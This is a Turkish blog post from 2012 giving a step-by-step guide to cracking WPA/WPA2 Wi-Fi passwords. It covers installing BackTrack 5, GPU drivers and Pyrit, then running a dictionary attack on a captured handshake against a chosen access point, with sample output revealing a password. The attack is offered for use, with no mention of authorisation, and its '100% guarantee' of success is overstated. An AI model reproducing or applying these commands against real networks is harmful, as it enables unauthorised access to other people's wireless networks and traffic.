Hürriyet

4 Kasım 2012 Pazar

pyrit ile Wpa/Wpa2 Kırma %100 garanti

 Merhaba Bildiğimiz Gibi CPU ile Wpa/wpa2 şifrelerini kırmak çok zor iş ve %90 şansa bağlı.
Ancak Cpu Yerine Gpu yani ekran kartımızı kullanarak kırmak  çok daha hızlı oluyor.

İntel Pentium G620 ile şifre denem hızı: 1400/s
İntel I7 ise 6500/s
ancak Raedon 5870 ile şifre deneme hızı 35.000/s
Bu En iyi işlemciye göre çok daha hızlı
Yani elimizde iyi bir ekran kartı var ise Wpa Wpa2 şifrelerini kırma olanağımızı yükseltiyor.
Pyrit performansı:





 Şimdi Ekran kartımız Ya Amd yada Nvidia dır.
Amd OpenCL Nvidia ise Cuda Çekirdeklerini kullanarak hızına hız katıyor.
Şimdi bizim yapmamız gereken önce Burdan Backtrackın son sürümünü indirmek:
Tıkla
Burdan Backtrack 5 R3 ü seçin
Windows Manager:GNOME
Image Type: Vmware
olacak şekilde indirip PC nizde kurulu olan Vmware (Vmware 7 Full Torrent indir)
açtıktan sonra Ekran kartımız Ne ise ona göre gerekli sürücüleri yüklemek.yoksa Pyrit bizim ekran kartımızı bulamaz.

Not:Bt5 e Vmware toolu kurmalısınız yoksa Bt 5 e Windows üzerinden gelmez.İşlem sırasınta BT5 de internetin olması gerekli.Veya Wirelessinizi bactracka ekleyerek ordanda bağlanabilirsiniz.
Vmware tools u kurmak için menülerden "VM>Install Vmware tools" u seçiyorsunuz
sonra bt5 e arşiv dosya geledektir o dosyayı Home Folder e kopyalıyoruz ve konsoldan Aşağıdaki kodları yazıyorsunuz.


root@bt:~# tar -xf VMwareTools-9.2.0-799703.tar.gz
root@bt:~# cd vmware-tools-distrib
root@bt:~# ./vmware-install.pl
Bundan sonra önünüze çıkan herşeye entere basın taki tamamlandı yazana kadar 
Bundan sonra Bt5 arasınra iletişimi kolaylaştırmış olacağız.Dosyalarımız sürükleyerek 
atıp veya BT5 den alabiliriz.
Artık İnternet  Bağlantımızı Windows üzerinden de alabiliriz 
 
 Ekran Kartı Nvidia olanlar için:

Önce CUDA sürücüleri yüklemek için hazırlık yapmamı gerekmekte .Konsolu açıp alttaki kodları yazıp
root@bt:~# prepare-kernel-sources
root@bt:~# cd /usr/src/linux
root@bt:~# cp -rf include/generated/* include/linux/
Bt5  kaç bit ise ona göre aşağıdakilerden birini indirin.
İndirdikten sonra .run dosyasını Home foldere atıp konsoldan aşağıdaki kodları yazın.

root@bt:~# chmod +x [Sürücü ismi].run
root@bt:~# sh ./[Sürücü ismi].run
 
 Bundan sonra Önünüze pencere açılacaktır fareyi kullanarak kuracaksınız. 

Sonra Burdaki sürücülerden Hangisi size uyumlu ise bunuda bir önceki driveri kurduğumuz şekilde kuruyoruz.
Sonra aşağıdaki kodlarıda konsola yazıyoruz.
root@bt:~# source /root/.bashrc
root@bt:~# ldconfig

root@bt:~# which nvcc
root@bt:~# nvcc -V

Artık CUDA sürücülerini yükledik şimdi pyrit in CUDA packini yüklemeye kaldı .Eğer bunları yapmazsak cuda paketi pyrite yüklenirken hata verir.
Konsoldan yazıyoruz...
root@bt:~# svn checkout http://pyrit.googlecode.com/svn/trunk/ pyrit
root@bt:~# cd pyrit/pyrit && python setup.py build && python setup.py install
root@bt:~# cd ../../
root@bt:~# cd pyrit/cpyrit_cuda && python setup.py build && python setup.py install

Artık Cuda paketinie güzelce kurduk şimdi Kullanması kalıyor.

Konsoldan Aşağıdaki kodu yazarak PC deki ekran kartlarını ve işlemcileri listeleyecektir.

root@bt:~# pyrit benchmark
Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Running benchmark (34110.8 PMKs/s)... \ 

Computed 63787.82 PMKs/s total.
#1: 'CUDA-Device #1 'GeForce GTX 295: 11558.7 PMKs/s (RTT 3.0)
#2: 'CUDA-Device #2 'GeForce GTX 295: 10912.5 PMKs/s (RTT 2.9)
#3: 'CUDA-Device #3 'GeForce GTX 295: 10632.1 PMKs/s (RTT 3.0)
#4: 'CPU-Core (SSE2)': 500.7 PMKs/s (RTT 2.7)
#5: 'CPU-Core (SSE2)': 508.9 PMKs/s (RTT 2.8) 

 Ekran Kartı AMD olanlar için:
  • Önce Sistemimizü güncellememiz gerekmekte yoksa  OpenCL yi yükleyemeyiz.
  • İnternet etişimimiz olduğu için Alttaki kodları yazalım.
root@bt:~# apt-get update && apt-get upgrade 
Bu kod ile Yüklemeye Hazırlayalım. 
root@bt:~# prepare-kernel-sources
root@bt:~# cd /usr/src/linux
root@bt:~# cp -rf include/generated/* include/linux/
  • Bunun ilk satırını yazdıktan sonra internetten indirmeye başlayacaktır indirme bitince son 3 koduda yazıp önünüze çıkan pencereyle kuracaksınız.Yükledikten sonra Aşağıdaki resimdeki gibi ekran kartımızı görebiliyor olmamız gerekmekte.
root@bt:~# wget http://www2.ati.com/drivers/linux/ati-driver-installer-11-9-x86.x86_64.run
root@bt:~# chmod +x ati-driver-installer-11-9-x86.x86_64.run
root@bt:~# ./ati-driver-installer-11-9-x86.x86_64.run
root@bt:~# reboot

Opencl01.png

  • Artık OpenCL nin Amd Acelleration Paralel Processing (APP) Yi yükleyeceğiz. Sisteminize Göre yükleyin
32 bit:
root@bt:~# wget http://developer.amd.com/Downloads/AMD-APP-SDK-v2.5-lnx32.tgz 
root@bt:~# tar -xvzf AMD-APP-SDK-v2.5-lnx32.tgz
root@bt:~# ./Install-AMD-APP.sh
64 bit:
root@bt:~# wget http://developer.amd.com/Downloads/AMD-APP-SDK-v2.5-lnx64.tgz 
root@bt:~# tar -xvzf AMD-APP-SDK-v2.5-lnx64.tgz
root@bt:~# ./Install-AMD-APP.sh
  • Şimdid cmake ve cmake++ Derleyicilerin kütüphanelerini yükleyeceğiz.
Önce sistem güncelmi bakalım güncel değilse internetten indirip kendi otomatik yükleyecektir.
root@bt:~# apt-get install libroot-python-dev libboost-python-dev zlib1g-dev libssl-dev cmake libboost1.40-all-dev
Sonra cmake++ Yükleme klasörünü ATI sürücünün bulunduğu klasöre yükleyeceğiz.Aşağıdaki kodları yazalım:
root@bt:~# echo "ATISTREAMSDKROOT=/opt/AMDAPP
root@bt:~# export ATISTREAMSDKROOT" >> ~/.bashrc
root@bt:~# source ~/.bashrc
Artık İnternetten cmake++ yı indirip yükleyeceğiz.Resimdeki gibi sonuç çıkacaktır:
root@bt:~# svn co https://calpp.svn.sourceforge.net/svnroot/calpp calpp
root@bt:~# cd calpp/trunk
root@bt:~# cmake .
root@bt:~# make
root@bt:~# make install
Opencl02.png
  • Artık İnternetten İndirip cpyrit_opencl yi yükleyeceğiz..
root@bt:~# svn checkout http://pyrit.googlecode.com/svn/trunk/ /tmp/pyrit
root@bt:~# cd /tmp/pyrit/pyrit && python setup.py build && python setup.py install
root@bt:~# cd /tmp/pyrit/cpyrit_opencl && python setup.py build && python setup.py install
  • Pyriti test Edelim.
root@bt:~# pyrit list_cores
root@bt:~# pyrit benchmark

PYRİT ile Crack
Artık Pyrit ile airodump-ng ile yakaladığımız handshakeli .cap dosyasını kıracağız. 

Paket Analizi

Yakaladığımız handshakeli dosyayı paket isimini yazarak analiz edelim
root@bt:~# pyrit -r [Paket ismi].cap analyze
Aşağıdaki kodlar yazacaktır.:
Pyrit 0.3.0 (C) 2008-2010 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Parsing file 'wpapsk-linksys.dump.gz' (1/1)...
587 packets (587 802.11-packets), 1 APs
#1: AccessPoint 00:0b:86:c2:a4:85 ('linksys')
  #0: Station 00:13:ce:55:98:ef, handshake found
  #1: Station 01:00:5e:7f:ff:fa
  #2: Station 01:00:5e:00:00:16
 
Dosyadaki ağları bulduk şimdi kırma sırasında.
 
root@bt:~# pyrit -r [Paket ismi].cap -i Wordlist.txt -b [Modemin Mac Adresi] attack_passthrough 
 
Pyrit 0.3.0 (C) 2008-2010 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Parsing file 'wpapsk-linksys.dump.gz' (1/1)...
587 packets (587 802.11-packets), 1 APs
Tried 4091 PMKs so far; 26.935 PMKs per second.
The password is 'dictionary'. 

Not:Eğer wordlistiniz yoksa burdan wordlist nasıl oluşturulduğunu öğrenebilir veya hiç wordlist
oluşturmadan gerçek zamanda şifre üretip wordlistde gerek kalmadan deneyebilirsiniz.Burdaki linkten
Crunch kullanıımını görebilirsiniz

Artık Kırma işlemi başladı.Kolay gelsin...